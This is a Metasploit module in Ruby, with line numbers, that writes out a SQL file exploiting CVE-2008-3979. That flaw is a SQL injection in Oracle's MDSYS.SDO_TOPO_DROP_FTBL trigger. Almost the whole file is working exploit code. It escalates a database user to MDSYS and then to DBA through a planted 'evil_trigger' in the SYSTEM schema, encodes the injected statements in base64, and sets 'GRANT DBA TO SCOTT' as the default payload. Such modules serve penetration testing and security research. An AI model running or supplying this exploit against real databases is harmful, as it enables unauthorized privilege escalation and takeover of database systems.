1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::FILEFORMAT
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger',
14
        'Description' => %q{
15
          This module will escalate an Oracle DB user to MDSYS by exploiting a sql injection bug in
16
          the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
17
          given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
18
        },
19
        'Author' => [ 'Sh2kerr <research[ad]dsec.ru>' ],
20
        'License' => MSF_LICENSE,
21
        'References' => [
22
          [ 'CVE', '2008-3979' ],
23
          [ 'OSVDB', '51354' ],
24
          [ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
25
          [ 'URL', 'http://www.ngssoftware.com/' ],
26
        ],
27
        'DisclosureDate' => '2009-01-13',
28
        'Notes' => {
29
          'Stability' => [CRASH_SAFE],
30
          'SideEffects' => [IOC_IN_LOGS],
31
          'Reliability' => []
32
        }
33
      )
34
    )
35

36
    register_options(
37
      [
38
        OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
39
        OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
40
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql'])
41
      ]
42
    )
43
  end
44

45
  def run
46
    name1 = Rex::Text.rand_text_alpha_upper(1..10)
47
    name2 = Rex::Text.rand_text_alpha_upper(1..10)
48
    rand1 = Rex::Text.rand_text_alpha_upper(1..10)
49
    rand2 = Rex::Text.rand_text_alpha_upper(1..10)
50
    rand3 = Rex::Text.rand_text_alpha_upper(1..10)
51
    rand4 = Rex::Text.rand_text_alpha_upper(1..10)
52
    rand5 = Rex::Text.rand_text_alpha_upper(1..10)
53

54
    function1 = %(
55
      CREATE OR REPLACE PROCEDURE #{name1}
56
      AUTHID CURRENT_USER AS
57
      PRAGMA AUTONOMOUS_TRANSACTION;
58
      BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
59
      END;
60
      )
61

62
    function2 = %|
63
      CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
64
      PRAGMA AUTONOMOUS_TRANSACTION;
65
      STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
66
      BEGIN #{datastore['USER']}.#{name1};
67
      end evil_trigger;';
68
      BEGIN
69
      EXECUTE IMMEDIATE STMT;
70
      COMMIT;
71
      RETURN 1;
72
      END;
73
      |
74

75
    prepare = "create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
76

77
    exploiting1 = "drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
78

79
    exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
80

81
    fun1 = Rex::Text.encode_base64(function1)
82
    fun2 = Rex::Text.encode_base64(function2)
83
    prp = Rex::Text.encode_base64(prepare)
84
    exp1 = Rex::Text.encode_base64(exploiting1)
85
    exp2 = Rex::Text.encode_base64(exploiting2)
86

87
    sql = %|
88
      DECLARE
89
      #{rand1} VARCHAR2(32767);
90
      #{rand2} VARCHAR2(32767);
91
      #{rand3} VARCHAR2(32767);
92
      #{rand4} VARCHAR2(32767);
93
      #{rand5} VARCHAR2(32767);
94
      BEGIN
95
      #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
96
      EXECUTE IMMEDIATE #{rand1};
97
      EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
98
      #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
99
      EXECUTE IMMEDIATE #{rand2};
100
      EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
101
      #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
102
      EXECUTE IMMEDIATE #{rand3};
103
      #{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
104
      EXECUTE IMMEDIATE #{rand4};
105
      #{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
106
      EXECUTE IMMEDIATE #{rand5};
107
      END;
108
      /
109
      DROP FUNCTION #{name1};
110
      DROP FUNCTION #{name2};
111
      |
112

113
    print_status("Creating '#{datastore['FILENAME']}' file ...")
114
    file_create(sql)
115
  end
116
end
117

118